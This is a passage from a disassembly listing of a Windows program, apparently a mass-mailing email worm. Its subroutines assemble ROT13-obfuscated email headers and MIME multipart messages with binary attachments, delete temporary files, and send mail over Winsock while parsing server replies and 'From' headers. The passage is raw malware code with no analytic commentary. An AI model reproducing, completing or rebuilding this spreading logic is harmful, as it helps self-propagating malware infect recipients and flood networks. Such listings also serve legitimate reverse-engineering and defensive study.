  9112.         push    eax        ; lpString2
  9113.         push    esi        ; lpString1
  9114.         call    ebp ; lstrcatA
  9115.         mov    edi, ds:lstrlenA
  9116.         push    offset aGb    ; "\r\nGb: "
  9117.         push    esi        ; lpString
  9118.         call    edi ; lstrlenA
  9119.         add    eax, esi
  9120.         push    eax
  9121.         call    sub_4A465E
  9122.         pop    ecx
  9123.         pop    ecx
  9124.         push    dword ptr [ebx]    ; lpString2
  9125.         push    esi        ; lpString1
  9126.         call    ebp ; lstrcatA
  9127.         push    offset aFhowrpg    ; "\r\nFhowrpg:    "
  9128.         push    esi        ; lpString
  9129.         call    edi ; lstrlenA
  9130.         add    eax, esi
  9131.         push    eax
  9132.         call    sub_4A465E
  9133.         pop    ecx
  9134.         add    ebx, 104h
  9135.         pop    ecx
  9136.         push    ebx        ; lpString2
  9137.         push    esi        ; lpString1
  9138.         call    ebp ; lstrcatA
  9139.         push    offset aQngr    ; "\r\nQngr: "
  9140.         push    esi        ; lpString
  9141.         call    edi ; lstrlenA
  9142.         add    eax, esi
  9143.         push    eax
  9144.         call    sub_4A465E
  9145.         pop    ecx
  9146.         pop    ecx
  9147.         push    esi        ; lpString
  9148.         call    edi ; lstrlenA
  9149.         add    eax, esi
  9150.         push    eax        ; int
  9151.         push    0        ; lpFileTime
  9152.         call    sub_4A40B3
  9153.         pop    ecx
  9154.         pop    ecx
  9155.         push    offset aZvzrIrefvba1_0 ; "\r\nZVZR-Irefvba: 1.0"
  9156.         push    esi        ; lpString
  9157.         call    edi ; lstrlenA
  9158.         add    eax, esi
  9159.         push    eax
  9160.         call    sub_4A465E
  9161.         pop    ecx
  9162.         pop    ecx
  9163.         push    offset aPbagragGlcrZhy ; "\r\nPbagrag-Glcr: zhygvcneg/zvkrq;\r\n"
  9164.         push    esi        ; lpString
  9165.         call    edi ; lstrlenA
  9166.         add    eax, esi
  9167.         push    eax
  9168.         call    sub_4A465E
  9169.         push    dword ptr [esp+1Ch+arglist] ; arglist
  9170.         push    offset aBoundaryS ; LPCSTR
  9171.         push    esi        ; lpString
  9172.         call    sub_4A45C4
  9173.         add    esp, 14h
  9174.         push    offset aKCevbevgl3 ; "\r\nK-Cevbevgl: 3"
  9175.         push    esi        ; lpString
  9176.         call    edi ; lstrlenA
  9177.         add    eax, esi
  9178.         push    eax
  9179.         call    sub_4A465E
  9180.         pop    ecx
  9181.         pop    ecx
  9182.         push    offset aKZfznvyCevbevg ; "\r\nK-ZFZnvy-Cevbevgl: Abezny"
  9183.         push    esi        ; lpString
  9184.         call    edi ; lstrlenA
  9185.         add    eax, esi
  9186.         push    eax
  9187.         call    sub_4A465E
  9188.         pop    ecx
  9189.         pop    ecx
  9190.         push    offset asc_4A35D4 ; lpString2
  9191.         push    esi        ; lpString1
  9192.         call    ebp ; lstrcatA
  9193.         pop    edi
  9194.         pop    esi
  9195.         pop    ebp
  9196.         pop    ebx
  9197.         pop    ecx
  9198.         retn
  9199. sub_4A74DD    endp
  9200.  
  9201.  
  9202. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9203.  
  9204. ; Attributes: bp-based frame
  9205.  
  9206. sub_4A75FD    proc near        ; CODE XREF: sub_4A76D2+BAp
  9207.  
  9208. var_210        = dword    ptr -210h
  9209. var_200        = byte ptr -200h
  9210. arglist        = byte ptr  8
  9211.  
  9212.         push    ebp
  9213.         mov    ebp, esp
  9214.         sub    esp, 200h
  9215.         push    ebx
  9216.         mov    ebx, dword ptr [ebp+arglist]
  9217.         push    esi
  9218.         push    edi
  9219.         mov    esi, [ebx+440h]
  9220.         mov    edi, ds:lstrlenA
  9221.         push    offset aGuvfVfNZhygvCn ; "Guvf vf n zhygv-cneg zrffntr va ZVZR sb"...
  9222.         push    esi        ; lpString
  9223.         call    edi ; lstrlenA
  9224.         add    eax, esi
  9225.         push    eax
  9226.         call    sub_4A465E
  9227.         lea    eax, [ebp+var_200]
  9228.         push    offset aFPbagragGlcrGr ; "--%f\r\nPbagrag-Glcr:    grkg/cynva;\r\n\tpunef"...
  9229.         push    eax
  9230.         call    sub_4A465E
  9231.         lea    eax, [ebx+3C0h]
  9232.         push    eax        ; arglist
  9233.         lea    eax, [ebp+var_200]
  9234.         push    eax        ; LPCSTR
  9235.         push    esi        ; lpString
  9236.         call    sub_4A45C4
  9237.         add    esp, 1Ch
  9238.         push    esi        ; lpString
  9239.         call    edi ; lstrlenA
  9240.         push    dword ptr [ebp+arglist]    ; lpString2
  9241.         mov    ebx, eax
  9242.         add    ebx, esi
  9243.         call    sub_4A7255
  9244.         mov    [esp+210h+var_210], offset asc_4A374C ;    "\r\n\r\n\r\n"
  9245.         push    esi        ; lpString1
  9246.         call    ds:lstrcatA
  9247.         lea    eax, [ebp+var_200]
  9248.         push    offset aFPbagragGlcrNc ; "--%f\r\nPbagrag-Glcr:    nccyvpngvba/bpgrg-f"...
  9249.         push    eax
  9250.         call    sub_4A465E
  9251.         mov    ebx, dword ptr [ebp+arglist]
  9252.         lea    eax, [ebx+1B7h]
  9253.         push    eax
  9254.         push    eax
  9255.         lea    eax, [ebx+3C0h]
  9256.         mov    dword ptr [ebp+arglist], eax
  9257.         push    eax        ; arglist
  9258.         lea    eax, [ebp+var_200]
  9259.         push    eax        ; LPCSTR
  9260.         push    esi        ; lpString
  9261.         call    sub_4A45C4
  9262.         add    esp, 1Ch
  9263.         push    esi        ; lpString
  9264.         call    edi ; lstrlenA
  9265.         add    eax, esi
  9266.         push    eax
  9267.         mov    eax, ebx
  9268.         call    sub_4A73CA
  9269.         test    eax, eax
  9270.         pop    ecx
  9271.         jz    short loc_4A76BA
  9272.         xor    eax, eax
  9273.         inc    eax
  9274.         jmp    short loc_4A76CD
  9275. ; ───────────────────────────────────────────────────────────────────────────
  9276.  
  9277. loc_4A76BA:                ; CODE XREF: sub_4A75FD+B6j
  9278.         push    dword ptr [ebp+arglist]    ; arglist
  9279.         push    offset aS    ; LPCSTR
  9280.         push    esi        ; lpString
  9281.         call    sub_4A45C4
  9282.         add    esp, 0Ch
  9283.         xor    eax, eax
  9284.  
  9285. loc_4A76CD:                ; CODE XREF: sub_4A75FD+BBj
  9286.         pop    edi
  9287.         pop    esi
  9288.         pop    ebx
  9289.         leave
  9290.         retn
  9291. sub_4A75FD    endp
  9292.  
  9293.  
  9294. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9295.  
  9296. ; Attributes: bp-based frame
  9297.  
  9298. ; int __cdecl sub_4A76D2(LPCSTR    lpString)
  9299. sub_4A76D2    proc near        ; CODE XREF: sub_4A5A7C+42p
  9300.  
  9301. var_448        = dword    ptr -448h
  9302. var_292        = byte ptr -292h
  9303. FileName    = byte ptr -191h
  9304. var_8C        = dword    ptr -8Ch
  9305. hMem        = dword    ptr -8
  9306. var_4        = dword    ptr -4
  9307. lpString    = dword    ptr  8
  9308.  
  9309.         push    ebp
  9310.         mov    ebp, esp
  9311.         sub    esp, 448h
  9312.         push    ebx
  9313.         push    esi
  9314.         mov    esi, [ebp+lpString]
  9315.         xor    ebx, ebx
  9316.         cmp    esi, ebx
  9317.         jz    loc_4A77B9
  9318.         push    esi        ; lpString
  9319.         call    ds:lstrlenA
  9320.         cmp    eax, 7
  9321.         jl    loc_4A77B9
  9322.         push    448h
  9323.         lea    eax, [ebp+var_448]
  9324.         push    ebx
  9325.         push    eax
  9326.         call    memset
  9327.         lea    eax, [ebp+var_448]
  9328.         mov    [ebp+var_448], esi
  9329.         push    eax
  9330.         call    sub_4A6CDE
  9331.         add    esp, 10h
  9332.         lea    eax, [ebp+var_448]
  9333.         call    sub_4A6D9F
  9334.         lea    eax, [ebp+var_448]
  9335.         call    sub_4A6ED6
  9336.         lea    esi, [ebp+var_448]
  9337.         call    sub_4A6FCD
  9338.         test    eax, eax
  9339.         jnz    short loc_4A77B9
  9340.         mov    eax, [ebp+var_8C]
  9341.         push    3
  9342.         shl    eax, 2
  9343.         cdq
  9344.         pop    ecx
  9345.         idiv    ecx
  9346.         mov    ecx, 400h
  9347.         add    eax, 239Fh
  9348.         cdq
  9349.         idiv    ecx
  9350.         shl    eax, 0Ah
  9351.         push    eax        ; dwBytes
  9352.         push    40h        ; uFlags
  9353.         mov    [ebp+var_4], eax
  9354.         call    ds:GlobalAlloc
  9355.         cmp    eax, ebx
  9356.         mov    [ebp+hMem], eax
  9357.         jz    short loc_4A7796
  9358.         mov    [eax], bl
  9359.         lea    eax, [ebp+var_448]
  9360.         call    sub_4A74DD
  9361.         lea    eax, [ebp+var_448]
  9362.         push    eax
  9363.         call    sub_4A75FD
  9364.         test    eax, eax
  9365.         pop    ecx
  9366.         jz    short loc_4A77BD
  9367.  
  9368. loc_4A7796:                ; CODE XREF: sub_4A76D2+A4j
  9369.         cmp    [ebp+var_292], bl
  9370.         jz    short loc_4A77AB
  9371.         lea    eax, [ebp+FileName]
  9372.         push    eax        ; lpFileName
  9373.         call    ds:DeleteFileA
  9374.  
  9375. loc_4A77AB:                ; CODE XREF: sub_4A76D2+CAj
  9376.         cmp    [ebp+hMem], ebx
  9377.         jz    short loc_4A77B9
  9378.         push    [ebp+hMem]    ; hMem
  9379.         call    ds:GlobalFree
  9380.  
  9381. loc_4A77B9:                ; CODE XREF: sub_4A76D2+12j
  9382.                     ; sub_4A76D2+22j ...
  9383.         xor    eax, eax
  9384.         jmp    short loc_4A77D5
  9385. ; ───────────────────────────────────────────────────────────────────────────
  9386.  
  9387. loc_4A77BD:                ; CODE XREF: sub_4A76D2+C2j
  9388.         cmp    [ebp+var_292], bl
  9389.         jz    short loc_4A77D2
  9390.         lea    eax, [ebp+FileName]
  9391.         push    eax        ; lpFileName
  9392.         call    ds:DeleteFileA
  9393.  
  9394. loc_4A77D2:                ; CODE XREF: sub_4A76D2+F1j
  9395.         mov    eax, [ebp+hMem]
  9396.  
  9397. loc_4A77D5:                ; CODE XREF: sub_4A76D2+E9j
  9398.         pop    esi
  9399.         pop    ebx
  9400.         leave
  9401.         retn
  9402. sub_4A76D2    endp
  9403.  
  9404.  
  9405. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9406.  
  9407. ; Attributes: bp-based frame
  9408.  
  9409. sub_4A77D9    proc near        ; CODE XREF: sub_4A7AAA+8Cp
  9410.  
  9411. var_114        = dword    ptr -114h
  9412. var_110        = dword    ptr -110h
  9413. var_10        = dword    ptr -10h
  9414. var_C        = dword    ptr -0Ch
  9415. var_8        = dword    ptr -8
  9416. var_4        = dword    ptr -4
  9417. arg_0        = dword    ptr  8
  9418. arg_4        = dword    ptr  0Ch
  9419. arg_8        = dword    ptr  10h
  9420. arg_C        = dword    ptr  14h
  9421.  
  9422.         push    ebp
  9423.         mov    ebp, esp
  9424.         sub    esp, 114h
  9425.         push    ebx
  9426.         push    esi
  9427.         xor    esi, esi
  9428.         xor    ebx, ebx
  9429.         inc    esi
  9430.         push    edi
  9431.         cmp    [ebp+arg_8], esi
  9432.         mov    [ebp+var_4], ebx
  9433.         jle    short loc_4A7864
  9434.         mov    edi, [ebp+arg_4]
  9435.         mov    [ebp+var_8], esi
  9436.         sub    [ebp+var_8], edi
  9437.  
  9438. loc_4A77FB:                ; CODE XREF: sub_4A77D9+89j
  9439.         mov    eax, [ebp+arg_C]
  9440.         cmp    eax, ebx
  9441.         jz    short loc_4A783E
  9442.         mov    ecx, [ebp+arg_0]
  9443.         xor    edx, edx
  9444.         mov    [ebp+var_110], ecx
  9445.         mov    ecx, 3E8h
  9446.         div    ecx
  9447.         mov    [ebp+var_114], esi
  9448.         imul    edx, 3E8h
  9449.         mov    [ebp+var_10], eax
  9450.         lea    eax, [ebp+var_10]
  9451.         push    eax
  9452.         push    ebx
  9453.         lea    eax, [ebp+var_114]
  9454.         push    ebx
  9455.         push    eax
  9456.         push    ebx
  9457.         mov    [ebp+var_C], edx
  9458.         call    ds:WS2_32_18
  9459.         test    eax, eax
  9460.         jle    short loc_4A7864
  9461.  
  9462. loc_4A783E:                ; CODE XREF: sub_4A77D9+27j
  9463.         push    ebx
  9464.         push    esi
  9465.         push    edi
  9466.         push    [ebp+arg_0]
  9467.         call    ds:WS2_32_16
  9468.         cmp    eax, ebx
  9469.         jl    short loc_4A7872
  9470.         jz    short loc_4A7864
  9471.         mov    al, [edi]
  9472.         inc    [ebp+var_4]
  9473.         inc    edi
  9474.         cmp    al, 0Ah
  9475.         jz    short loc_4A7864
  9476.         mov    eax, [ebp+var_8]
  9477.         add    eax, edi
  9478.         cmp    eax, [ebp+arg_8]
  9479.         jl    short loc_4A77FB
  9480.  
  9481. loc_4A7864:                ; CODE XREF: sub_4A77D9+17j
  9482.                     ; sub_4A77D9+63j ...
  9483.         mov    ecx, [ebp+arg_4]
  9484.         mov    eax, [ebp+var_4]
  9485.         mov    [eax+ecx], bl
  9486.  
  9487. loc_4A786D:                ; CODE XREF: sub_4A77D9+9Cj
  9488.         pop    edi
  9489.         pop    esi
  9490.         pop    ebx
  9491.         leave
  9492.         retn
  9493. ; ───────────────────────────────────────────────────────────────────────────
  9494.  
  9495. loc_4A7872:                ; CODE XREF: sub_4A77D9+73j
  9496.         or    eax, 0FFFFFFFFh
  9497.         jmp    short loc_4A786D
  9498. sub_4A77D9    endp
  9499.  
  9500.  
  9501. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9502.  
  9503.  
  9504. sub_4A7877    proc near        ; CODE XREF: sub_4A7DFD+DAp
  9505.                     ; sub_4A7F4C+6Fp ...
  9506.         push    esi
  9507.         push    edi
  9508.         call    ds:WS2_32_11
  9509.         mov    esi, eax
  9510.         cmp    esi, 0FFFFFFFFh
  9511.         jz    short loc_4A788F
  9512.         test    esi, esi
  9513.         jnz    short loc_4A78A1
  9514.         cmp    byte ptr [edi],    30h
  9515.         jz    short loc_4A78A8
  9516.  
  9517. loc_4A788F:                ; CODE XREF: sub_4A7877+Dj
  9518.         push    edi
  9519.         call    ds:WS2_32_52
  9520.         test    eax, eax
  9521.         jz    short loc_4A78A1
  9522.         mov    eax, [eax+0Ch]
  9523.         mov    eax, [eax]
  9524.         mov    esi, [eax]
  9525.  
  9526. loc_4A78A1:                ; CODE XREF: sub_4A7877+11j
  9527.                     ; sub_4A7877+21j
  9528.         cmp    esi, 0FFFFFFFFh
  9529.         jnz    short loc_4A78A8
  9530.         xor    esi, esi
  9531.  
  9532. loc_4A78A8:                ; CODE XREF: sub_4A7877+16j
  9533.                     ; sub_4A7877+2Dj
  9534.         mov    eax, esi
  9535.         pop    esi
  9536.         retn
  9537. sub_4A7877    endp
  9538.  
  9539.  
  9540. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9541.  
  9542. ; Attributes: bp-based frame
  9543.  
  9544. ; int __cdecl sub_4A78AC(LPCSTR    lpString2,int,int)
  9545. sub_4A78AC    proc near        ; CODE XREF: sub_4A7B47+1Fp
  9546.                     ; sub_4A7B47+3Bp ...
  9547.  
  9548. var_102        = byte ptr -102h
  9549. String1        = byte ptr -100h
  9550. lpString2    = dword    ptr  8
  9551. arg_4        = dword    ptr  0Ch
  9552. arg_8        = dword    ptr  10h
  9553.  
  9554.         push    ebp
  9555.         mov    ebp, esp
  9556.         sub    esp, 100h
  9557.         push    ebx
  9558.         push    esi
  9559.         mov    esi, eax
  9560.         xor    eax, eax
  9561.         cmp    esi, eax
  9562.         push    edi
  9563.         jz    loc_4A7A27
  9564.         cmp    [ebp+lpString2], eax
  9565.         jz    loc_4A7A27
  9566.         cmp    [ebp+arg_4], eax
  9567.         jz    loc_4A7A27
  9568.         cmp    [ebp+arg_8], eax
  9569.         jle    loc_4A7A27
  9570.  
  9571. loc_4A78DF:                ; CODE XREF: sub_4A78AC+46j
  9572.         mov    al, [esi]
  9573.         cmp    al, 0Dh
  9574.         jz    short loc_4A78F1
  9575.         cmp    al, 0Ah
  9576.         jz    short loc_4A78F1
  9577.         cmp    al, 20h
  9578.         jz    short loc_4A78F1
  9579.         cmp    al, 9
  9580.         jnz    short loc_4A78F4
  9581.  
  9582. loc_4A78F1:                ; CODE XREF: sub_4A78AC+37j
  9583.                     ; sub_4A78AC+3Bj ...
  9584.         inc    esi
  9585.         jmp    short loc_4A78DF
  9586. ; ───────────────────────────────────────────────────────────────────────────
  9587.  
  9588. loc_4A78F4:                ; CODE XREF: sub_4A78AC+43j
  9589.         cmp    byte ptr [esi],    0
  9590.         jz    loc_4A7A27
  9591.         mov    ebx, ds:lstrlenA
  9592.  
  9593. loc_4A7903:                ; CODE XREF: sub_4A78AC+175j
  9594.         xor    ecx, ecx
  9595.  
  9596. loc_4A7905:                ; CODE XREF: sub_4A78AC+89j
  9597.                     ; sub_4A78AC+99j
  9598.         mov    al, [esi]
  9599.         inc    esi
  9600.         test    al, al
  9601.         jz    short loc_4A794A
  9602.         cmp    al, 3Ah
  9603.         jz    short loc_4A7949
  9604.         cmp    al, 0Dh
  9605.         jz    short loc_4A7949
  9606.         cmp    al, 0Ah
  9607.         jz    short loc_4A7949
  9608.         cmp    al, 9
  9609.         jnz    short loc_4A791E
  9610.         add    al, 17h
  9611.  
  9612. loc_4A791E:                ; CODE XREF: sub_4A78AC+6Ej
  9613.         test    ecx, ecx
  9614.         jle    short loc_4A7931
  9615.         cmp    al, 20h
  9616.         jnz    short loc_4A792F
  9617.         cmp    [ebp+ecx-101h],    al
  9618.         jz    short loc_4A793F
  9619.  
  9620. loc_4A792F:                ; CODE XREF: sub_4A78AC+78j
  9621.         test    ecx, ecx
  9622.  
  9623. loc_4A7931:                ; CODE XREF: sub_4A78AC+74j
  9624.         jnz    short loc_4A7937
  9625.         cmp    al, 20h
  9626.         jz    short loc_4A7905
  9627.  
  9628. loc_4A7937:                ; CODE XREF: sub_4A78AC+85j
  9629.         mov    [ebp+ecx+String1], al
  9630.         inc    ecx
  9631.  
  9632. loc_4A793F:                ; CODE XREF: sub_4A78AC+81j
  9633.         cmp    ecx, 0FFh
  9634.         jb    short loc_4A7905
  9635.         jmp    short loc_4A794A
  9636. ; ───────────────────────────────────────────────────────────────────────────
  9637.  
  9638. loc_4A7949:                ; CODE XREF: sub_4A78AC+62j
  9639.                     ; sub_4A78AC+66j ...
  9640.         dec    esi
  9641.  
  9642. loc_4A794A:                ; CODE XREF: sub_4A78AC+5Ej
  9643.                     ; sub_4A78AC+9Bj
  9644.         and    [ebp+ecx+String1], 0
  9645.         cmp    byte ptr [esi],    0
  9646.         jz    loc_4A7A27
  9647.         lea    eax, [ebp+String1]
  9648.         lea    edi, [ebp+String1]
  9649.         push    eax        ; lpString
  9650.         dec    edi
  9651.         call    ebx ; lstrlenA
  9652.         cmp    byte ptr [eax+edi], 20h
  9653.         jnz    short loc_4A797E
  9654.         lea    eax, [ebp+String1]
  9655.         push    eax        ; lpString
  9656.         call    ebx ; lstrlenA
  9657.         and    byte ptr [eax+edi], 0
  9658.  
  9659. loc_4A797E:                ; CODE XREF: sub_4A78AC+C3j
  9660.         cmp    [ebp+String1], 0
  9661.         jz    loc_4A7A27
  9662.         cmp    byte ptr [esi],    3Ah
  9663.         jnz    short loc_4A79F1
  9664.         lea    eax, [ebp+String1]
  9665.         push    eax        ; lpsz
  9666.         call    ds:CharLowerA
  9667.         push    [ebp+lpString2]    ; lpString2
  9668.         lea    eax, [ebp+String1]
  9669.         push    eax        ; lpString1
  9670.         call    ds:lstrcmpiA
  9671.         test    eax, eax
  9672.         jnz    short loc_4A79F1
  9673.         inc    esi
  9674.         mov    al, [esi]
  9675.         cmp    al, 20h
  9676.         jz    short loc_4A79BC
  9677.         cmp    al, 9
  9678.         jnz    short loc_4A79BD
  9679.  
  9680. loc_4A79BC:                ; CODE XREF: sub_4A78AC+10Aj
  9681.         inc    esi
  9682.  
  9683. loc_4A79BD:                ; CODE XREF: sub_4A78AC+10Ej
  9684.         mov    edi, [ebp+arg_8]
  9685.         xor    edx, edx
  9686.         dec    edi
  9687.         test    edi, edi
  9688.         jle    short loc_4A79DD
  9689.  
  9690. loc_4A79C7:                ; CODE XREF: sub_4A78AC+12Fj
  9691.         mov    al, [esi]
  9692.         inc    esi
  9693.         cmp    al, 0Dh
  9694.         jz    short loc_4A7A2F
  9695.         cmp    al, 0Ah
  9696.         jz    short loc_4A7A2F
  9697.         mov    ecx, [ebp+arg_4]
  9698.         mov    [edx+ecx], al
  9699.         inc    edx
  9700.  
  9701. loc_4A79D9:                ; CODE XREF: sub_4A78AC+1A7j
  9702.         cmp    edx, edi
  9703.         jl    short loc_4A79C7
  9704.  
  9705. loc_4A79DD:                ; CODE XREF: sub_4A78AC+119j
  9706.                     ; sub_4A78AC+19Dj
  9707.         mov    eax, [ebp+arg_4]
  9708.         and    byte ptr [edx+eax], 0
  9709.         xor    eax, eax
  9710.         jmp    short loc_4A7A2A
  9711. ; ───────────────────────────────────────────────────────────────────────────
  9712.  
  9713. loc_4A79E8:                ; CODE XREF: sub_4A78AC+149j
  9714.         cmp    al, 0Dh
  9715.         jz    short loc_4A79F7
  9716.         test    al, al
  9717.         jz    short loc_4A7A27
  9718.         inc    esi
  9719.  
  9720. loc_4A79F1:                ; CODE XREF: sub_4A78AC+E2j
  9721.                     ; sub_4A78AC+103j
  9722.         mov    al, [esi]
  9723.         cmp    al, 0Ah
  9724.         jnz    short loc_4A79E8
  9725.  
  9726. loc_4A79F7:                ; CODE XREF: sub_4A78AC+13Ej
  9727.         mov    al, [esi]
  9728.         test    al, al
  9729.         jz    short loc_4A7A27
  9730.         cmp    al, 0Ah
  9731.         jnz    short loc_4A7A09
  9732.         inc    esi
  9733.         cmp    byte ptr [esi],    0Dh
  9734.         jnz    short loc_4A7A15
  9735.         jmp    short loc_4A7A14
  9736. ; ───────────────────────────────────────────────────────────────────────────
  9737.  
  9738. loc_4A7A09:                ; CODE XREF: sub_4A78AC+153j
  9739.         cmp    al, 0Dh
  9740.         jnz    short loc_4A7A15
  9741.         inc    esi
  9742.         mov    al, [esi]
  9743.         cmp    al, 0Ah
  9744.         jnz    short loc_4A7A1B
  9745.  
  9746. loc_4A7A14:                ; CODE XREF: sub_4A78AC+15Bj
  9747.         inc    esi
  9748.  
  9749. loc_4A7A15:                ; CODE XREF: sub_4A78AC+159j
  9750.                     ; sub_4A78AC+15Fj
  9751.         mov    al, [esi]
  9752.         cmp    al, 0Ah
  9753.         jz    short loc_4A7A27
  9754.  
  9755. loc_4A7A1B:                ; CODE XREF: sub_4A78AC+166j
  9756.         cmp    al, 0Dh
  9757.         jz    short loc_4A7A27
  9758.         test    al, al
  9759.         jnz    loc_4A7903
  9760.  
  9761. loc_4A7A27:                ; CODE XREF: sub_4A78AC+12j
  9762.                     ; sub_4A78AC+1Bj ...
  9763.         xor    eax, eax
  9764.         inc    eax
  9765.  
  9766. loc_4A7A2A:                ; CODE XREF: sub_4A78AC+13Aj
  9767.         pop    edi
  9768.         pop    esi
  9769.         pop    ebx
  9770.         leave
  9771.         retn
  9772. ; ───────────────────────────────────────────────────────────────────────────
  9773.  
  9774. loc_4A7A2F:                ; CODE XREF: sub_4A78AC+120j
  9775.                     ; sub_4A78AC+124j
  9776.         mov    eax, esi
  9777.         dec    esi
  9778.  
  9779. loc_4A7A32:                ; CODE XREF: sub_4A78AC+193j
  9780.         mov    cl, [eax]
  9781.         cmp    cl, 0Ah
  9782.         jz    short loc_4A7A3E
  9783.         cmp    cl, 0Dh
  9784.         jnz    short loc_4A7A41
  9785.  
  9786. loc_4A7A3E:                ; CODE XREF: sub_4A78AC+18Bj
  9787.         inc    eax
  9788.         jmp    short loc_4A7A32
  9789. ; ───────────────────────────────────────────────────────────────────────────
  9790.  
  9791. loc_4A7A41:                ; CODE XREF: sub_4A78AC+190j
  9792.         mov    al, [eax]
  9793.         cmp    al, 20h
  9794.         jz    short loc_4A7A4B
  9795.         cmp    al, 9
  9796.         jnz    short loc_4A79DD
  9797.  
  9798. loc_4A7A4B:                ; CODE XREF: sub_4A78AC+199j
  9799.                     ; sub_4A78AC+1AAj
  9800.         mov    al, [esi]
  9801.         cmp    al, 0Ah
  9802.         jz    short loc_4A7A55
  9803.         cmp    al, 0Dh
  9804.         jnz    short loc_4A79D9
  9805.  
  9806. loc_4A7A55:                ; CODE XREF: sub_4A78AC+1A3j
  9807.         inc    esi
  9808.         jmp    short loc_4A7A4B
  9809. sub_4A78AC    endp
  9810.  
  9811.  
  9812. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9813.  
  9814. ; Attributes: bp-based frame
  9815.  
  9816. sub_4A7A58    proc near        ; CODE XREF: sub_4A7B47+BBp
  9817.  
  9818. var_10C        = dword    ptr -10Ch
  9819. var_108        = dword    ptr -108h
  9820. var_8        = dword    ptr -8
  9821. var_4        = dword    ptr -4
  9822. arg_0        = dword    ptr  8
  9823.  
  9824.         push    ebp
  9825.         mov    ebp, esp
  9826.         sub    esp, 10Ch
  9827.         xor    edx, edx
  9828.         mov    ecx, 3E8h
  9829.         div    ecx
  9830.         lea    ecx, [ebp+var_10C]
  9831.         mov    [ebp+var_10C], 1
  9832.         mov    [ebp+var_8], eax
  9833.         mov    eax, [ebp+arg_0]
  9834.         imul    edx, 3E8h
  9835.         mov    [ebp+var_108], eax
  9836.         lea    eax, [ebp+var_8]
  9837.         push    eax
  9838.         xor    eax, eax
  9839.         push    eax
  9840.         push    eax
  9841.         push    ecx
  9842.         push    eax
  9843.         mov    [ebp+var_4], edx
  9844.         call    ds:WS2_32_18
  9845.         xor    ecx, ecx
  9846.         test    eax, eax
  9847.         setle    cl
  9848.         mov    eax, ecx
  9849.         leave
  9850.         retn
  9851. sub_4A7A58    endp
  9852.  
  9853.  
  9854. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9855.  
  9856. ; Attributes: bp-based frame
  9857.  
  9858. sub_4A7AAA    proc near        ; CODE XREF: sub_4A7B47+CCp
  9859.                     ; sub_4A7B47+112p ...
  9860.  
  9861. String        = byte ptr -400h
  9862. arg_0        = dword    ptr  8
  9863. arg_4        = dword    ptr  0Ch
  9864. arg_8        = dword    ptr  10h
  9865. arglist        = byte ptr  14h
  9866.  
  9867.         push    ebp
  9868.         mov    ebp, esp
  9869.         sub    esp, 400h
  9870.         cmp    [ebp+arg_8], 0
  9871.         jz    short loc_4A7AED
  9872.         lea    eax, [ebp+arglist]
  9873.         push    eax        ; arglist
  9874.         lea    eax, [ebp+String]
  9875.         push    [ebp+arg_8]    ; LPCSTR
  9876.         push    eax        ; LPSTR
  9877.         call    ds:wvsprintfA
  9878.         lea    eax, [ebp+String]
  9879.         push    0
  9880.         push    eax        ; lpString
  9881.         call    ds:lstrlenA
  9882.         push    eax
  9883.         lea    eax, [ebp+String]
  9884.         push    eax
  9885.         push    [ebp+arg_0]
  9886.         call    ds:WS2_32_19
  9887.  
  9888. loc_4A7AED:                ; CODE XREF: sub_4A7AAA+Dj
  9889.         push    esi
  9890.         mov    esi, 400h
  9891.         jmp    short loc_4A7B28
  9892. ; ───────────────────────────────────────────────────────────────────────────
  9893.  
  9894. loc_4A7AF5:                ; CODE XREF: sub_4A7AAA+96j
  9895.         lea    ecx, [ebp+String]
  9896.         xor    eax, eax
  9897.  
  9898. loc_4A7AFD:                ; CODE XREF: sub_4A7AAA+60j
  9899.         mov    dl, [ecx]
  9900.         cmp    dl, 20h
  9901.         jz    short loc_4A7B09
  9902.         cmp    dl, 9
  9903.         jnz    short loc_4A7B1C
  9904.  
  9905. loc_4A7B09:                ; CODE XREF: sub_4A7AAA+58j
  9906.         inc    ecx
  9907.         jmp    short loc_4A7AFD
  9908. ; ───────────────────────────────────────────────────────────────────────────
  9909.  
  9910. loc_4A7B0C:                ; CODE XREF: sub_4A7AAA+77j
  9911.         cmp    dl, 39h
  9912.         jg    short loc_4A7B23
  9913.         movsx    edx, dl
  9914.         lea    eax, [eax+eax*4]
  9915.         inc    ecx
  9916.         lea    eax, [edx+eax*2-30h]
  9917.  
  9918. loc_4A7B1C:                ; CODE XREF: sub_4A7AAA+5Dj
  9919.         mov    dl, [ecx]
  9920.         cmp    dl, 30h
  9921.         jge    short loc_4A7B0C
  9922.  
  9923. loc_4A7B23:                ; CODE XREF: sub_4A7AAA+65j
  9924.         cmp    byte ptr [ecx],    2Dh
  9925.         jnz    short loc_4A7B44
  9926.  
  9927. loc_4A7B28:                ; CODE XREF: sub_4A7AAA+49j
  9928.         push    [ebp+arg_4]
  9929.         lea    eax, [ebp+String]
  9930.         push    esi
  9931.         push    eax
  9932.         push    [ebp+arg_0]
  9933.         call    sub_4A77D9
  9934.         add    esp, 10h
  9935.         test    eax, eax
  9936.         jg    short loc_4A7AF5
  9937.         xor    eax, eax
  9938.  
  9939. loc_4A7B44:                ; CODE XREF: sub_4A7AAA+7Cj
  9940.         pop    esi
  9941.         leave
  9942.         retn
  9943. sub_4A7AAA    endp
  9944.  
  9945.  
  9946. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9947.  
  9948. ; Attributes: bp-based frame
  9949.  
  9950. sub_4A7B47    proc near        ; CODE XREF: sub_4A7DFD+FFp
  9951.                     ; sub_4A7F4C+94p ...
  9952.  
  9953. var_408        = dword    ptr -408h
  9954. String1        = byte ptr -308h
  9955. var_208        = dword    ptr -208h
  9956. var_108        = byte ptr -108h
  9957. var_8        = dword    ptr -8
  9958. var_4        = dword    ptr -4
  9959. arg_0        = dword    ptr  8
  9960. arg_4        = dword    ptr  0Ch
  9961.  
  9962.         push    ebp
  9963.         mov    ebp, esp
  9964.         sub    esp, 408h
  9965.         push    esi
  9966.         mov    esi, 100h
  9967.         lea    eax, [ebp+var_208]
  9968.         push    esi        ; int
  9969.         push    eax        ; int
  9970.         mov    eax, [ebp+arg_4]
  9971.         push    offset aFrom    ; lpString2
  9972.         call    sub_4A78AC
  9973.         add    esp, 0Ch
